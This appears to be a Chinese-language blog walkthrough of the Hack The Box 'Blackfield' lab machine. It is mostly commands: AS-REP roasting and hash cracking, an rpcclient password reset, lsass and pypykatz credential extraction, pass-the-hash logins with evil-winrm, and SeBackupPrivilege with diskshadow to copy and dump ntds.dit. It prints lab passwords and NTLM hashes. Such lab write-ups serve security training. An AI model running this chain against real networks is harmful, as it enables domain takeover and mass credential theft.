HTB-blackfield

获得初始权限

dig @10.10.10.192 blackfield.local 无 dig axfr @10.10.10.192 blackfield.local 无

ldapsearch -h 10.10.10.192 -x -s base namingcontexts

DomainDnsZones.blackfield.local 和 ForestDnsZones.blackfield.local 似乎是有趣的子域。有趣的是,它们也都通过 dig 进行解析(仅显示一个):

dig @10.10.10.192 ForestDnsZones.BLACKFIELD.local

没有别的更多信息了

尝试一下smb

crackmapexec smb 10.10.10.192

smbmap -H 10.10.10.192 -u null

smbclient -N //10.10.10.192/profiles$

有很多文件,都是空的,文件名有没有可能是用户

挂载到本地

mount -t cifs //10.10.10.192/profiles$ /mnt

mv users users.old; ls -1 /mnt/ > users

  1. 将现有的 users 文件或目录重命名为 users.old

  2. /mnt/ 目录下的所有文件和目录列表写入新的 users 文件,每行一个文件或目录名。

试试as_rep

for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.192 blackfield.local/$user | grep krb5asrep; done

得到hash

破解

hashcat -m 18200 svc.asrep.hash /usr/share/wordlists/rockyou.txt --force

support / #00^BlackKnight

验证

crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight' 不可以

crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight' 可以

smbmap -H 10.10.10.192 -u support -p '#00^BlackKnight'

获得了对 NETLOGONSYSVOL 共享的只读访问权限

连接smb目录

profiles$ 仍然有相同的目录,全部是空的。NETLOGON 完全是空的,SYSVOL 有五个文件,但没有一个对我提供任何有用的东西。

ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump

wc -l support_ldap_dump 超过 20000 行:

大概看一下,获得获得了域控制器的名称 DC01

尝试了 Kerberoast,GetUserSPNs.py -request -dc-ip 10.10.10.192 'blackfield.local/support:#00^BlackKnight'无票据返回

通过rpc重置密码,pypykatz替代mimikatz从ladp中dump出hash

利用bloodhound

bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192

拥有修改密码的权限Reset AD user password with Linux - Malicious Link - Blog by mubix - Rob Fuller

rpcclient $> setuserinfo2

23作为级别

如果设置的密码策略与要求不符会报错,如果相符会没有返回

rpcclient $> setuserinfo2 audit2020 23 '0xdf!!!'

也可以直接命令行运行

rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'

验证

crackmapexec smb 10.10.10.192 -u audit2020 -p '0xdf!!!'

crackmapexec winrm 10.10.10.192 -u audit2020 -p '0xdf!!!' 仍然没有winrm

接着枚举smb

smbmap -H 10.10.10.192 -u audit2020 -p '0xdf!!!'

smbclient -U audit2020 //10.10.10.192/forensic '0xdf!!!' 有三个文件夹,

commands_output 有一堆文本文件

domain_admins.txt` 中有一个额外的帐户 Ipwn3dYourCompany

tools 是三个公开可用的工具集:

memory_analysis 是最有趣的:

它是一系列 Zip 存档,每个存档中都有一个内存转储文件

原先Mimikatz 的lsass.exe可以用,随着防病毒软件一种众所周知的技术是使用 Sysinternals(由 Microsoft 签名)的 procdump.exe 来转储 lsass.exe

unzip lsass.zip得到lsass.DMP

有一个 Mimikatz 替代方案 pypykatz 也可以正常工作

pypykatz lsa minidump lsass.DMP

获得svc_backup的hash

测试可以横向

crackmapexec winrm 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

获得管理员(SeBackUpPrivilege权限,利用工具SeBackupPrivilege)

whoami /priv

SeBackUpPrivilege 基本上允许完整的系统读取

svc_backup 位于 Backup Operators

备份操作员是一个默认的 Windows 组,旨在使用某些方法来备份和恢复计算机上的文件,以读取和写入系统上的所有(或大多数)文件。

https://github.com/giuliano108/SeBackupPrivilege

这个存储库有一组很好的 PowerShell 工具,用于滥用SeBackupPrivilege. 我将克隆它,然后需要将两个文件上传到 Blackfields:

upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll

upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

现在我将它们导入到我当前的会话中:

*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeUtils.dll

现在我可以跨文件系统读取文件。例如,我无法C:\windows\system32\config\netlogon.dns以非管理员用户身份读取:

但我可以复制它并阅读它:

Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns

type \programdata\netlogon.dns

由于某种原因,我无法阅读root.txt

我想要获取的下一个文件是ntds.ditDC 上保存所有密码哈希值的数据库。不幸的是,我无法抓住它,因为它正在使用中

Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .

diskshadow读取ntds.dit 文件(解决robocopy复制ntds时的in use)(reg.exe保存secrect)

如果我们尝试使用robocopy制作 ntds.dit 文件的副本,我们会发现由于正在使用的进程而失败。

robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit

使用diskshadow.exe

默认情况下,diskshadow.exe 仅安装在 Windows Server 上。

由于 diskshadow.exe 是一个交互式命令,而我们当前有一个非交互式会话,因此我们必须制作一个可以输入到 diskshadow.exe 中的 TXT 文件。这将使我们能够执行必要的命令并创建卷影副本。

我直接在受害者计算机上使用以下命令来制作 diskshadow.txt 文件:

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

上面的命令本质上告诉 diskshadow.exe 创建 C: 的副本并将其命名为 Z: 并公开它(使其可作为驱动器访问)。

创建 diskshadow.txt 文件后,我使用以下命令创建卷影副本并将其显示为 Z:\ 驱动器:

diskshadow.exe /s c:\temp\diskshadow.txt

随着 Z:\ 驱动器暴露,我现在可以再次使用 robocopy,但这一次它将用于将备份 ntds.dit 文件移动到我的临时文件夹,而不是正在运行的文件。

cd Z:
cd windows
cd ntds
robocopy /b .\ C:\temp NTDS.dit

获取 ntds.dit 文件后,我们还需要从注册表中获取 SYSTEM 文件,然后将这两个文件发送到我们的攻击者计算机以在本地转储。

cd C:\temp
reg.exe save hklm\system C:\temp\system.bak

这次为了泄露这些文件,我们可以使用villain-winrm的内置下载命令,如下所示:

download ntds.dit
download system.bak

现在这两个文件都在我的攻击者计算机上,我再次使用 Secretsdump.py 并成功转储域中的所有哈希值!

我第一次运行此命令时,我没有将其重定向到文件,并且有超过 300 个用户的文件。重定向输出使其更易于解析。

secretsdump.py -ntds ntds.dit -system system.bak LOCAL > hashes.txt

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

184fb5e5178480be64824d4cd53b99ee

  • 21
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值